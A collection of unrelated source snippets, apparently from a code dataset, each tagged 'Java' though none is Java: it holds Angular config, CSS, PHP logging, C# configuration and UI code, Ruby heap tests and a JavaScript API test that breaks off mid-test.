//'@angular/http/testing': 'npm:@angular/http/bundles/http-testing.umd.js',
//'@angular/router/testing': 'npm:@angular/router/bundles/router-testing.umd.js',
//'@angular/forms/testing': 'npm:@angular/forms/bundles/forms-testing.umd.js',
// angular bundles
'@angular/core': 'npm:@angular/core/bundles/core.umd.js',
'@angular/common': 'npm:@angular/common/bundles/common.umd.js',
'@angular/compiler': 'npm:@angular/compiler/bundles/compiler.umd.js',
'@angular/platform-browser': 'npm:@angular/platform-browser/bundles/platform-browser.umd.js',
'@angular/platform-browser-dynamic': 'npm:@angular/platform-browser-dynamic/bundles/platform-browser-dynamic.umd.js',
'@angular/http': 'npm:@angular/http/bundles/http.umd.js',
'@angular/router': 'npm:@angular/router/bundles/router.umd.js',
'@angular/forms': 'npm:@angular/forms/bundles/forms.umd.js',
// other libraries
'rxjs': 'npm:rxjs',
'angular-in-memory-web-api': 'npm:angular-in-memory-web-api/bundles/in-memory-web-api.umd.js'
},
// packages tells the System loader how to load when no filename and/or no extension
packages: {
app: {
main: './main.js',
defaultExtension: 'js'
},
rxjs: {
defaultExtension: 'js'
}
}
});
})(this);
| Java |
# SSISCookbook
SSIS cookbook for the hurried developer
Check out [the book](./main.pdf)
| Java |
body { padding-top: 50px; }
.navbar {
margin-bottom:0px;
}
#content {
margin-top: 20px;
}
footer { font-size: .9em;}
* {
margin: 0;
}
html, body {
height: 100%;
}
#body_wrapper {
min-height: 100%;
height: auto !important;
height: 100%;
margin: 0 auto -50px; /* the bottom margin is the negative value of the footer's height */
}
footer, .push {
height: 50px; /* .push must be the same height as .footer */
} | Java |
<?php
namespace Application\Core;
use \DateTime;
/**
* The LogHandler handles writing and clearing logs
*/
class LogHandler {
public static function clear() {
$files = App::logs()->files();
foreach ($files as $file) { $file->remove(); }
}
public static function clean() {
$files = App::logs()->files(); sort($files);
$files_to_remove = count($files) - App::logLimit();
if($files_to_remove>0) {
$i=0; while($i<$files_to_remove) {
$files[$i]->remove(); ++$i;
}
}
}
/**
* Writes a log
*
* @param StatusCode $err
* @param string $additional
*/
public static function write($err, $additional = '') {
$dt = new DateTime();
$file=App::logs()->file('log_'.$dt->format('Y-m-d').'.log');
$log=$dt->format('H:i:s')."\t".$err->status()."\t$additional\r\n";
if($file->exists()) {
$file->append($log);
} else { $file->write($log); }
self::clean();
}
} | Java |
/**
* Created by Tomas Kulhanek on 1/16/17.
*/
//import {HttpClient} from 'aurelia-http-client';
import {ProjectApi} from "../components/projectapi";
import {Vfstorage} from '../components/vfstorage';
//import {bindable} from 'aurelia-framework';
export class Modulecontrol{
// @bindable classin = "w3-card-4 w3-sand w3-padding w3-margin w3-round";
constructor () {
this.client=new HttpClient();
this.url=window.location.href;
this.baseurl=Vfstorage.getBaseUrl()
this.enabled=false;
this.client.configure(config=> {
config.withHeader('Accept', 'application/json');
config.withHeader('Content-Type', 'application/json');
});
}
attached(){
//console.log("attached() url:"+this.url);
this.client.get(this.baseurl+this.url)
.then(response => this.okcallback(response))
.catch(error => this.failcallback(error))
}
okcallback(response){
//console.log("okcallback()");
var res= JSON.parse(response.response);
//console.log(res.enabled);
this.enabled= res.enabled;
}
failcallback(error){
this.enabled=false;
console.log('Sorry, error when connecting backend web service at '+this.url+' error:'+error.response+" status:"+error.statusText);
}
enable(){
this.client.post(this.baseurl+this.url)
.then(response => this.okcallback(response))
.catch(error => this.failcallback(error))
}
}
| Java |
namespace CSReader.Command
{
/// <summary>
/// ヘルプを表示するコマンド
/// </summary>
public class HelpCommand : ICommand
{
public const string COMMAND_NAME = "help";
/// <summary>
/// コマンドを実行する
/// </summary>
/// <returns>ヘルプ文字列</returns>
public string Execute()
{
return @"usage: csr [command_name] [command_args] ...";
}
}
}
| Java |
//The MIT License(MIT)
//
//Copyright(c) 2016 universalappfactory
//
//Permission is hereby granted, free of charge, to any person obtaining a copy
//of this software and associated documentation files (the "Software"), to deal
//in the Software without restriction, including without limitation the rights
//to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
//copies of the Software, and to permit persons to whom the Software is
//furnished to do so, subject to the following conditions:
//
//The above copyright notice and this permission notice shall be included in all
//copies or substantial portions of the Software.
//
//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
//IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
//AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
//LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
//OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
//SOFTWARE.
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
namespace Sharpend.UAP.Controls.Buttons
{
[TemplatePart(Name = IconButton.PART_Symbol,Type = typeof(SymbolIcon))]
public class IconButton : Button
{
public const string PART_Symbol = "PART_Symbol";
//Symbol
public Symbol Symbol
{
get { return (Symbol)GetValue(SymbolProperty); }
set { SetValue(SymbolProperty, value); }
}
public static readonly DependencyProperty SymbolProperty =
DependencyProperty.Register("Symbol", typeof(Symbol), typeof(IconButton),
new PropertyMetadata(0, SymbolChanged));
//IconWidth
public double IconWidth
{
get { return (double)GetValue(IconWidthProperty); }
set { SetValue(IconWidthProperty, value); }
}
// Using a DependencyProperty as the backing store for IconWidth. This enables animation, styling, binding, etc...
public static readonly DependencyProperty IconWidthProperty =
DependencyProperty.Register("IconWidth", typeof(double), typeof(IconButton), new PropertyMetadata(15));
//IconHeight
public double IconHeight
{
get { return (double)GetValue(IconHeightProperty); }
set { SetValue(IconHeightProperty, value); }
}
// Using a DependencyProperty as the backing store for IconHeight. This enables animation, styling, binding, etc...
public static readonly DependencyProperty IconHeightProperty =
DependencyProperty.Register("IconHeight", typeof(double), typeof(IconButton), new PropertyMetadata(15));
//IconPadding
public Thickness IconPadding
{
get { return (Thickness)GetValue(IconPaddingProperty); }
set { SetValue(IconPaddingProperty, value); }
}
// Using a DependencyProperty as the backing store for IconPadding. This enables animation, styling, binding, etc...
public static readonly DependencyProperty IconPaddingProperty =
DependencyProperty.Register("IconPadding", typeof(Thickness), typeof(IconButton), new PropertyMetadata(new Thickness(0)));
public IconButton()
{
}
private static void SymbolChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
var btn = d as IconButton;
if ((btn != null) && (btn.Content != null))
{
var symbolIcon = (btn.Content as SymbolIcon);
if (symbolIcon != null)
{
symbolIcon.Symbol = btn.Symbol;
}
} else if (btn != null)
{
var symbolIcon = btn.GetTemplateChild("PART_Symbol") as SymbolIcon;
if (symbolIcon != null)
{
symbolIcon.Symbol = btn.Symbol;
}
}
}
protected override void OnApplyTemplate()
{
base.OnApplyTemplate();
var symbolIcon = GetTemplateChild(PART_Symbol) as SymbolIcon;
if (symbolIcon == null)
{
symbolIcon = new SymbolIcon();
this.Content = symbolIcon;
}
symbolIcon.Symbol = this.Symbol;
}
}
}
| Java |
.aquaIvory6,
.hover_aquaIvory6:hover,
.active_aquaIvory6:active {
-webkit-box-shadow: 0 0.63em 0.75em rgba(255, 232, 28, .39),
inset 0 -0.5em 0.9em 0 #ffe282,
inset 0 -0.5em 0em 0.65em rgb(232, 213, 0),
inset 0 0em 0.5em 2em rgb(232, 224, 127);
-moz-box-shadow: 0 0.63em 0.75em rgba(255, 232, 28, .39),
inset 0 -0.5em 0.9em 0 #ffe282,
inset 0 -0.5em 0em 0.65em rgb(232, 213, 0),
inset 0 0em 0.5em 2em rgb(232, 224, 127);
box-shadow: 0 0.63em 0.75em rgba(255, 232, 28, .39),
inset 0 -0.5em 0.9em 0 #ffe282,
inset 0 -0.5em 0em 0.65em rgb(232, 213, 0),
inset 0 0em 0.5em 2em rgb(232, 224, 127);
}
.aquaIvory6h,
.hover_aquaIvory6h:hover,
.active_aquaIvory6h:active {
-webkit-box-shadow:0 0.63em 1em rgba(255, 235, 53, .55),
inset 0 -0.5em 0.9em 0 #ffeeb5,
inset 0 -0.5em 0em 0.65em #fff04f,
inset 0 0em 0.5em 2em #fdf7b7;
-moz-box-shadow:0 0.63em 1em rgba(255, 235, 53, .55),
inset 0 -0.5em 0.9em 0 #ffeeb5,
inset 0 -0.5em 0em 0.65em #fff04f,
inset 0 0em 0.5em 2em #fdf7b7;
box-shadow:0 0.63em 1em rgba(255, 235, 53, .55),
inset 0 -0.5em 0.9em 0 #ffeeb5,
inset 0 -0.5em 0em 0.65em #fff04f,
inset 0 0em 0.5em 2em #fdf7b7;
}
.aquaIvory6a,
.hover_aquaIvory6a:hover,
.active_aquaIvory6a:active {
/*background: #cece00;*/
-webkit-box-shadow:0 0.63em 1em rgba(232, 209, 0, .55),
inset 0 -0.5em 0.9em 0 #ffe89b,
inset 0 -0.5em 0em 0.65em #ffec17,
inset 0 0em 0.5em 2em #fff268;
-moz-box-shadow:0 0.63em 1em rgba(232, 209, 0, .55),
inset 0 -0.5em 0.9em 0 #ffe89b,
inset 0 -0.5em 0em 0.65em #ffec17,
inset 0 0em 0.5em 2em #fff268;
box-shadow:0 0.63em 1em rgba(232, 209, 0, .55),
inset 0 -0.5em 0.9em 0 #ffe89b,
inset 0 -0.5em 0em 0.65em #ffec17,
inset 0 0em 0.5em 2em #fff268;
}
/* ------------------------------ color settings ----------------------------*/
.color_aquaIvory6,
.hover_color_aquaIvory6:hover,
.active_color_aquaIvory6:active {
color: #282828;
}
.color_aquaIvory6h,
.hover_color_aquaIvory6h:hover,
.active_color_aquaIvory6h:active {
color: #c8c8c8;
}
.color_aquaIvory6a,
.hover_color_aquaIvory6a:hover,
.active_color_aquaIvory6a:active {
color: #c8c8c8;
}
/* -------------------------- border settings --------------------------------*/
.border_aquaIvory6,
.hover_border_aquaIvory6:hover,
.active_border_aquaIvory6:active {
border-color: #cece00 #cece00 #cece00 #cece00;
}
.border_aquaIvory6h,
.hover_border_aquaIvory6h:hover,
.active_border_aquaIvory6h:active {
border-color: #cece00 #cece00 #cece00 #cece00;
}
.border_aquaIvory6a,
.hover_border_aquaIvory6a:hover,
.active_border_aquaIvory6a:active {
border-color: #cece00 #cece00 #cece00 #cece00;
}
| Java |
Given /^I am in the "(.*?)" directory$/ do |dir|
@dir = dir
@project = RemoteTerminal::Project.find(@dir)
end
When /^I get the path from my location$/ do
@path = @project.path_from(@dir)
end
Then /^I should see "(.*?)"$/ do |path|
@path.should be == path
end
When /^I get the path to my location$/ do
@path = @project.path_to(@dir)
end | Java |
require "test_helper"
class FHeapTest < ActiveSupport::TestCase
def setup
@heap = FHeap.new
end
def setup_sample_heap
@node_1 = @heap.insert!(1)
@node_2 = @heap.insert!(2)
@node_6 = @heap.insert!(6)
@node_5 = @node_2.add_child!(5)
@node_3 = @node_1.add_child!(3)
@node_4 = @node_1.add_child!(4)
@node_7 = @node_1.add_child!(7)
@node_8 = @node_7.add_child!(8)
@node_9 = @node_8.add_child!(9)
assert_equal 3, @heap.trees.length
assert_equal 1, @heap.min_node.value
end
test "min_node with no trees" do
assert_nil @heap.min_node
end
test "insert updates min_node" do
@heap.insert!(1)
assert_equal 1, @heap.min_node.value
@heap.insert!(2)
assert_equal 1, @heap.min_node.value
@heap.insert!(0)
assert_equal 0, @heap.min_node.value
end
test "extract minimum (nothing in the heap)" do
assert_nil @heap.extract_minimum!
end
test "extract minimum (one item in heap)" do
@heap.insert!(1)
assert_equal 1, @heap.extract_minimum!.value
end
test "extract minimum (calling after extracting the last node)" do
@heap.insert!(1)
assert_equal 1, @heap.extract_minimum!.value
assert_nil @heap.extract_minimum!
end
test "extract minimum (restructures correctly)" do
setup_sample_heap
assert_equal 1, @heap.extract_minimum!.value
assert_equal 2, @heap.min_node.value
assert_equal ["(2 (5), (3 (6)))", "(4)", "(7 (8 (9)))"], @heap.to_s
assert @node_2.root?
assert @node_4.root?
assert @node_7.root?
assert_equal @node_2, @node_5.root
assert_equal @node_2, @node_3.root
assert_equal @node_2, @node_6.root
assert_equal @node_7, @node_8.root
assert_equal @node_7, @node_9.root
assert_equal @node_2, @node_2.parent
assert_equal @node_4, @node_4.parent
assert_equal @node_7, @node_7.parent
assert_equal @node_2, @node_5.parent
assert_equal @node_2, @node_3.parent
assert_equal @node_3, @node_6.parent
assert_equal @node_7, @node_8.parent
assert_equal @node_8, @node_9.parent
end
test "decrease value (can't set higher than the existing value)" do
setup_sample_heap
assert_raises ArgumentError do
@heap.decrease_value!(@node_9, 100)
end
end
test "decrease value (doesn't do anything if you don't change the value)" do
setup_sample_heap
structure = @heap.to_s
@heap.decrease_value!(@node_9, @node_9.value)
assert_equal structure, @heap.to_s
end
test "decrease value (restructures correctly)" do
setup_sample_heap
@node_4.marked = true
@node_7.marked = true
@node_8.marked = true
@heap.decrease_value!(@node_0 = @node_9, 0)
assert_equal 0, @heap.min_node.value
assert_equal ["(1 (3), (4))", "(2 (5))", "(6)", "(0)", "(8)", "(7)"], @heap.to_s
assert ((0..8).to_a - [4]).all? { |number| !instance_variable_get(:"@node_#{number}").marked }
assert @node_4.marked
assert @node_1.root?
assert @node_2.root?
assert @node_6.root?
assert @node_0.root?
assert @node_8.root?
assert @node_7.root?
assert_equal @node_1, @node_3.root
assert_equal @node_1, @node_4.root
assert_equal @node_2, @node_5.root
assert_equal @node_1, @node_3.parent
assert_equal @node_1, @node_4.parent
assert_equal @node_2, @node_5.parent
end
test "delete" do
setup_sample_heap
assert_equal @node_9, @heap.delete(@node_9)
assert_equal 1, @heap.min_node.value
assert_equal ["(1 (3), (4), (7 (8)))", "(2 (5))", "(6)"], @heap.to_s
assert ((1..9).to_a - [8]).all? { |number| !instance_variable_get(:"@node_#{number}").marked }
assert @node_8.marked
assert @node_1.root?
assert @node_2.root?
assert @node_6.root?
assert_equal @node_1, @node_3.root
assert_equal @node_1, @node_4.root
assert_equal @node_1, @node_7.root
assert_equal @node_1, @node_8.root
assert_equal @node_2, @node_5.root
assert_equal @node_1, @node_3.parent
assert_equal @node_1, @node_4.parent
assert_equal @node_1, @node_7.parent
assert_equal @node_7, @node_8.parent
assert_equal @node_2, @node_5.parent
end
end | Java |
using SuperScript.Configuration;
using SuperScript.Emitters;
using SuperScript.Modifiers;
using SuperScript.Modifiers.Converters;
using SuperScript.Modifiers.Post;
using SuperScript.Modifiers.Pre;
using SuperScript.Modifiers.Writers;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
namespace SuperScript.ExtensionMethods
{
/// <summary>
/// Contains extension methods which can be invoked upon the classes which are implemented in the web.config <superScript> section.
/// </summary>
public static class ConfigurationExtensions
{
/// <summary>
/// Enumerates the <see cref="PropertyCollection"/> and populates the properties specified therein on the specified <see cref="host"/> object.
/// </summary>
/// <param name="propertyElmnts">A <see cref="PropertyCollection"/> object containing a collection of <see cref="PropertyElement"/> objects.</param>
/// <param name="host">The object to which the value of each <see cref="PropertyElement"/> object should be transferred to. </param>
public static void AssignProperties(this PropertyCollection propertyElmnts, object host)
{
if (propertyElmnts == null || propertyElmnts.Count == 0)
{
return;
}
foreach (PropertyElement propertyElmnt in propertyElmnts)
{
// a Type may be specified on the <property> element for the following reasons:
// - to assign a derived type to the specified property
// - if no value is specified on the <property> element then a new instance (using the default constructor)
// will be created and assigned to the specified property. This branch will throw an exception if the
// specified type is a value type or does not have a public default constructor.
if (propertyElmnt.Type != null)
{
// enums have to be handled differently
if (propertyElmnt.Type.IsEnum)
{
if (!Enum.IsDefined(propertyElmnt.Type, propertyElmnt.Value))
{
throw new SpecifiedPropertyNotFoundException(propertyElmnt.Name);
}
var enumInfo = host.GetType().GetProperty(propertyElmnt.Name);
if (enumInfo == null)
{
if (propertyElmnt.ExceptionIfMissing)
{
throw new SpecifiedPropertyNotFoundException(propertyElmnt.Name);
}
continue;
}
enumInfo.SetValue(host, Enum.Parse(propertyElmnt.Type, propertyElmnt.Value));
continue;
}
// in the following call, passing customProperty.Type might be more secure, but cannot be done in case
// the target property has been specified using an interface.
var propInfo = host.GetType().GetProperty(propertyElmnt.Name, propertyElmnt.Type);
if (propInfo == null)
{
if (propertyElmnt.ExceptionIfMissing)
{
throw new SpecifiedPropertyNotFoundException(propertyElmnt.Name);
}
continue;
}
// if no value has been specified then assume that the intention is to assign a new instance of the
// specified type to the specified property.
if (String.IsNullOrWhiteSpace(propertyElmnt.Value) && !propertyElmnt.Type.IsValueType)
{
// check that the specified type has a public default (parameterless) constructor
if (propertyElmnt.Type.GetConstructor(Type.EmptyTypes) != null)
{
propInfo.SetValue(host,
Activator.CreateInstance(propertyElmnt.Type),
null);
}
}
else
{
// a Type and a value have been specified
// if the Type is System.TimeSpan then this needs to be parsed in a specific manner
if (propertyElmnt.Type == typeof (TimeSpan))
{
TimeSpan ts;
TimeSpan.TryParse(propertyElmnt.Value, out ts);
propInfo.SetValue(host,
ts,
null);
}
else
{
propInfo.SetValue(host,
Convert.ChangeType(propertyElmnt.Value, propertyElmnt.Type),
null);
}
}
}
else
{
var propInfo = host.GetType().GetProperty(propertyElmnt.Name);
if (propInfo == null)
{
if (propertyElmnt.ExceptionIfMissing)
{
throw new SpecifiedPropertyNotFoundException(propertyElmnt.Name);
}
continue;
}
propInfo.SetValue(host,
Convert.ChangeType(propertyElmnt.Value, propInfo.PropertyType),
null);
}
}
}
/// <summary>
/// Compares the specified <see cref="EmitMode"/> enumeration with the current context.
/// </summary>
/// <param name="emitMode">Determines for which modes (i.e., debug, live, or forced on or off) a property should be emitted.</param>
/// <returns><c>True</c> if the current context covers the specified <see cref="EmitMode"/>.</returns>
public static bool IsCurrentlyEmittable(this EmitMode emitMode)
{
if (emitMode == EmitMode.Always)
{
return true;
}
if (emitMode == EmitMode.Never)
{
return false;
}
if (Settings.IsDebuggingEnabled)
{
return emitMode == EmitMode.DebugOnly;
}
return emitMode == EmitMode.LiveOnly;
}
/// <summary>
/// Determines whether the specified <see cref="ModifierBase"/> should be implemented in the current emitting context.
/// </summary>
/// <param name="modifier">An instance of <see cref="ModifierBase"/> whose <see cref="EmitMode"/> property will be checked against the current emitting context.</param>
/// <returns><c>true</c> if the specified instance of <see cref="ModifierBase"/> should be emitted in the current emitting context.</returns>
public static bool ShouldEmitForCurrentContext(this ModifierBase modifier)
{
return modifier.EmitMode.IsCurrentlyEmittable();
}
/// <summary>
/// Converts the specified <see cref="AttributesCollection"/> into an <see cref="ICollection{KeyValuePair}"/>.
/// </summary>
public static ICollection<KeyValuePair<string, string>> ToAttributeCollection(this AttributesCollection attributeElmnts)
{
var attrs = new Collection<KeyValuePair<string, string>>();
foreach (AttributeElement attrElmnt in attributeElmnts)
{
attrs.Add(new KeyValuePair<string, string>(attrElmnt.Name, attrElmnt.Value));
}
return attrs;
}
/// <summary>
/// Creates an instance of <see cref="EmitterBundle"/> from the specified <see cref="EmitterBundleElement"/> object.
/// </summary>
/// <exception cref="ConfigurationException">Thrown when a static or abstract type is referenced for the custom object.</exception>
public static EmitterBundle ToEmitterBundle(this EmitterBundleElement bundledEmitterElmnt)
{
// create the instance...
var instance = new EmitterBundle(bundledEmitterElmnt.Key);
// instantiate the CustomObject, if declared
if (bundledEmitterElmnt.CustomObject != null && bundledEmitterElmnt.CustomObject.Type != null)
{
var coType = bundledEmitterElmnt.CustomObject.Type;
// rule out abstract and static classes
// - reason: static classes will cause problems when we try to call static properties on the arguments.CustomObject property.
if (coType.IsAbstract)
{
throw new ConfigurationException("Static or abstract types are not permitted for the custom object.");
}
var customObject = Activator.CreateInstance(coType);
// if the developer has configured custom property values in the config then set them here
bundledEmitterElmnt.CustomObject.CustomProperties.AssignProperties(customObject);
instance.CustomObject = customObject;
}
var bundledKeys = new List<string>(bundledEmitterElmnt.BundleKeys.Count);
bundledKeys.AddRange(bundledEmitterElmnt.BundleKeys.Cast<string>());
instance.EmitterKeys = bundledKeys;
// instantiate the collection processors
instance.PostModifiers = bundledEmitterElmnt.PostModifiers.ToModifiers<CollectionPostModifier>();
instance.HtmlWriter = bundledEmitterElmnt.Writers.ToModifier<HtmlWriter>(required: true);
return instance;
}
/// <summary>
/// Creates an <see cref="ICollection{EmitterBundle}"/> containing the instances of <see cref="EmitterBundle"/> specified by the <see cref="EmitterBundlesCollection"/>.
/// </summary>
public static IList<EmitterBundle> ToEmitterBundles(this EmitterBundlesCollection bundledEmitterElmnts)
{
var bundledEmitters = new Collection<EmitterBundle>();
foreach (EmitterBundleElement bundledEmitterElmnt in bundledEmitterElmnts)
{
// check that no existing BundledEmitters have the same key as we're about to assign
if (bundledEmitters.Any(e => e.Key == bundledEmitterElmnt.Key))
{
throw new EmitterConfigurationException("Multiple <emitter> elements have been declared with the same Key (" + bundledEmitterElmnt.Key + ").");
}
bundledEmitters.Add(bundledEmitterElmnt.ToEmitterBundle());
}
return bundledEmitters;
}
/// <summary>
/// Creates an instance of <see cref="IEmitter"/> from the specified <see cref="EmitterElement"/> object.
/// </summary>
/// <exception cref="ConfigurationException">Thrown when a static or abstract type is referenced for the custom object.</exception>
public static IEmitter ToEmitter(this EmitterElement emitterElmnt)
{
// create the instance...
var instance = emitterElmnt.ToInstance<IEmitter>();
instance.IsDefault = emitterElmnt.IsDefault;
instance.Key = emitterElmnt.Key;
// instantiate the CustomObject, if declared
if (emitterElmnt.CustomObject != null && emitterElmnt.CustomObject.Type != null)
{
var coType = emitterElmnt.CustomObject.Type;
// rule out abstract and static classes
// - reason: static classes will cause problems when we try to call static properties on the arguments.CustomObject property.
if (coType.IsAbstract)
{
throw new ConfigurationException("Static or abstract types are not permitted for the custom object.");
}
var customObject = Activator.CreateInstance(coType);
// if the developer has configured custom property values in the config then set them here
emitterElmnt.CustomObject.CustomProperties.AssignProperties(customObject);
instance.CustomObject = customObject;
}
// instantiate the collection processors
instance.PreModifiers = emitterElmnt.PreModifiers.ToModifiers<CollectionPreModifier>();
instance.Converter = emitterElmnt.Converters.ToModifier<CollectionConverter>(required: true);
instance.PostModifiers = emitterElmnt.PostModifiers.ToModifiers<CollectionPostModifier>();
instance.HtmlWriter = emitterElmnt.Writers.ToModifier<HtmlWriter>();
return instance;
}
/// <summary>
/// Creates an <see cref="IList{IEmitter}"/> containing instances of the Emitters specified by the <see cref="EmittersCollection"/>.
/// </summary>
public static IList<IEmitter> ToEmitterCollection(this EmittersCollection emitterElmnts)
{
var emitters = new Collection<IEmitter>();
foreach (var emitterElmnt in from EmitterElement emitterElement in emitterElmnts
select emitterElement.ToEmitter())
{
// should we check if any other Emitters have been set to isDefault=true
if (emitterElmnt.IsDefault && emitters.Any(e => e.IsDefault))
{
throw new EmitterConfigurationException("Multiple <emitter> elements have been declared with 'isDefault' set to TRUE.");
}
// check that no existing emitters have the same key as we're about to assign
if (emitters.Any(e => e.Key == emitterElmnt.Key))
{
throw new EmitterConfigurationException("Multiple <emitter> elements have been declared with the same Key (" + emitterElmnt.Key + ").");
}
emitters.Add(emitterElmnt);
}
return emitters;
}
/// <summary>
/// Returns the first instance of T which is eligible for the context emit mode (i.e., <see cref="EmitMode.Always"/>, <see cref="EmitMode.DebugOnly"/>, etc.).
/// </summary>
/// <typeparam name="T">A type derived from <see cref="ModifierBase"/>.</typeparam>
/// <param name="modifierElmnts">Contains a collection of instances of <see cref="ModifierBase"/>.</param>
/// <param name="required">Indicates whether this method must return a <see cref="ModifierBase"/> or whether these are optional.</param>
/// <exception cref="ConfigurationException">Thrown if multiple declarations have been made for the context emit mode.</exception>
/// <exception cref="ConfigurablePropertyNotSpecifiedException">Thrown if no declarations have been made for the context emit mode.</exception>
public static T ToModifier<T>(this ModifiersCollection modifierElmnts, bool required = false) where T : ModifierBase
{
T instanceToBeUsed = null;
foreach (ModifierElement modifierElmnt in modifierElmnts)
{
var modInstance = modifierElmnt.ToInstance<T>();
modInstance.EmitMode = modifierElmnt.EmitMode;
if (!modInstance.ShouldEmitForCurrentContext())
{
continue;
}
if (instanceToBeUsed != null)
{
throw new ConfigurationException("Only one instance of HtmlWriter (in a <writer> element) may be specified per context mode.");
}
modifierElmnt.ModifierProperties.AssignProperties(modInstance);
var bundled = modInstance as IUseWhenBundled;
if (bundled != null)
{
bundled.UseWhenBundled = modifierElmnt.UseWhenBundled;
instanceToBeUsed = (T) bundled;
}
else
{
instanceToBeUsed = modInstance;
}
}
if (required && instanceToBeUsed == null)
{
throw new ConfigurablePropertyNotSpecifiedException("writer");
}
return instanceToBeUsed;
}
/// <summary>
/// Creates an <see cref="ICollection{T}"/> containing instances of objects specified in each <see cref="ModifierElement"/>.
/// </summary>
/// <typeparam name="T">A type derived from <see cref="ModifierBase"/>.</typeparam>
/// <param name="modifierElmnts">Contains a collection of instances of <see cref="ModifierBase"/>.</param>
public static ICollection<T> ToModifiers<T>(this ModifiersCollection modifierElmnts) where T : ModifierBase
{
var instances = new Collection<T>();
foreach (ModifierElement modifierElmnt in modifierElmnts)
{
var modInstance = modifierElmnt.ToInstance<T>();
modInstance.EmitMode = modifierElmnt.EmitMode;
if (!modInstance.ShouldEmitForCurrentContext())
{
continue;
}
modifierElmnt.ModifierProperties.AssignProperties(modInstance);
var bundled = modInstance as IUseWhenBundled;
if (bundled != null)
{
bundled.UseWhenBundled = modifierElmnt.UseWhenBundled;
modInstance = (T) bundled;
}
instances.Add(modInstance);
}
return instances;
}
/// <summary>
/// Returns the <see cref="Type"/> specified in the <see cref="IAssemblyElement"/>.
/// </summary>
public static T ToInstance<T>(this IAssemblyElement element)
{
return (T) Activator.CreateInstance(element.Type);
}
}
} | Java |
using Cofoundry.Core;
using Cofoundry.Domain;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Cofoundry.Web.Admin
{
public class CustomEntitiesRouteLibrary : AngularModuleRouteLibrary
{
public const string RoutePrefix = "custom-entities";
private readonly AdminSettings _adminSettings;
public CustomEntitiesRouteLibrary(AdminSettings adminSettings)
: base(adminSettings, RoutePrefix, RouteConstants.InternalModuleResourcePathPrefix)
{
_adminSettings = adminSettings;
}
#region routes
public string List(CustomEntityDefinitionSummary definition)
{
return GetCustomEntityRoute(definition?.NamePlural);
}
public string List(ICustomEntityDefinition definition)
{
return GetCustomEntityRoute(definition?.NamePlural);
}
public string New(CustomEntityDefinitionSummary definition)
{
if (definition == null) return string.Empty;
return List(definition) + "new";
}
public string Details(CustomEntityDefinitionSummary definition, int id)
{
if (definition == null) return string.Empty;
return List(definition) + id.ToString();
}
private string GetCustomEntityRoute(string namePlural, string route = null)
{
if (namePlural == null) return string.Empty;
return "/" + _adminSettings.DirectoryName + "/" + SlugFormatter.ToSlug(namePlural) + "#/" + route;
}
#endregion
}
} | Java |
/* eslint-disable no-undef,no-unused-expressions */
const request = require('supertest')
const expect = require('chai').expect
const app = require('../../bin/www')
const fixtures = require('../data/fixtures')
describe('/api/mappings', () => {
beforeEach(() => {
this.Sample = require('../../models').Sample
this.Instrument = require('../../models').Instrument
this.InstrumentMapping = require('../../models').InstrumentMapping
this.ValidationError = require('../../models').sequelize.ValidationError
expect(this.Sample).to.exist
expect(this.Instrument).to.exist
expect(this.InstrumentMapping).to.exist
expect(this.ValidationError).to.exist
return require('../../models').sequelize
.sync({force: true, logging: false})
.then(() => {
console.log('db synced')
return this.Sample
.bulkCreate(fixtures.samples)
})
.then(samples => {
this.samples = samples
return this.Instrument
.bulkCreate(fixtures.instruments)
})
.then(instruments => {
return this.InstrumentMapping.bulkCreate(fixtures.instrumentMappings)
})
.then(() => console.log('Fixtures loaded'))
})
it('should return 200 on GET /api/instruments/:instrumentId/mappings', () => {
return request(app)
.get('/api/instruments/a35c6ac4-53f7-49b7-82e3-7a0aba5c2c45/mappings')
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(200)
.then((res) => {
expect(res.body, 'body should be an array').to.be.an('array')
expect(res.body, 'body should contain 2 items').to.have.lengthOf(2)
expect(res.body[0], 'item 0 should be an object').to.be.an('object')
})
})
it('should return 201 on POST /api/instruments/:instrumentId/mappings', () => {
return request(app)
.post('/api/instruments/a35c6ac4-53f7-49b7-82e3-7a0aba5c2c45/mappings')
.send({
lowerRank: 55,
upperRank: 56,
referenceRank: 55,
sampleId: '636f247a-dc88-4b52-b8e8-78448b5e5790'
})
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(201)
.then(res => {
expect(res.body, 'body should be an object')
expect(res.body.lowerRank, 'lowerRank should equal 55').to.equal(55)
expect(res.body.upperRank, 'upperRank should equal 56').to.equal(56)
expect(res.body.referenceRank, 'referenceRank should equal 55').to.equal(55)
expect(res.body.sampleId).to.equal('636f247a-dc88-4b52-b8e8-78448b5e5790', 'sampleId should equal 636f247a-dc88-4b52-b8e8-78448b5e5790')
expect(res.body.instrumentId).to.equal('a35c6ac4-53f7-49b7-82e3-7a0aba5c2c45', 'instrumentId should equal a35c6ac4-53f7-49b7-82e3-7a0aba5c2c45')
})
})
it('should return 200 GET /api/mappings/:id', () => {
return request(app)
.get('/api/mappings/1bcab515-ed82-4449-aec9-16a6142b0d15')
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(200)
.then((res) => {
expect(res.body, 'body should be an object').to.be.an('object')
expect(res.body.id, 'id should equal 1bcab515-ed82-4449-aec9-16a6142b0d15').to.equal('1bcab515-ed82-4449-aec9-16a6142b0d15')
})
})
it('should return 200 on PUT /api/mappings/:id', () => {
return request(app)
.put('/api/mappings/712fda5f-3ff5-4e23-8949-320a96e0d565')
.send({
lowerRank: 45,
upperRank: 46,
referenceRank: 45,
sampleId: '0f1ed577-955a-494d-868c-cf4dc5c3c892'
})
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(200)
.then(res => {
expect(res.body.lowerRank, 'lowerRank should equal 45').to.equal(45)
